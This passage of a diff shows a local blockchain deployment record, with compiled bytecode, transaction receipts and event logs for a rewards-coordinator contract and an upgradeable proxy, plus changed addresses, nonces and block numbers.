0160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033", - "nonce": 15, - "gas_used": 3277944 + "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "nonce": 28, + "gas_used": 573230 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x320478", + "cumulativeGasUsed": "0x8bf2e", "logs": [ { - "address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" + "data": "0x" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" } ], - "logsBloom": "0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x9f79b7eb183beb5d3fb9b36b6a9708cafdc1c093cdea868fa080716576aac652", - "block_number": 9 + "block_hash": "0xed111cec961583d0e79c2921c0d330e1f7a28fc63df0db46905a4f8f274cce95", + "block_number": 25 }, { "info": { - "transaction_hash": "0xece0fbed8cbdcfe3cf8a43c932bc41f5a9fe7f2dde7ab7cf4e99dc08ea3468f1", + "transaction_hash": "0xd7564065b111aaeb506f2b929d325592e1ef78a940ddfe00870c64ed2ce7d117", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "contract_address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", "traces": [ { "parent": null, @@ -4592,15 +4620,15 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x8a791620dd6260079bf849dc5567adc3f2fdc318", + "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b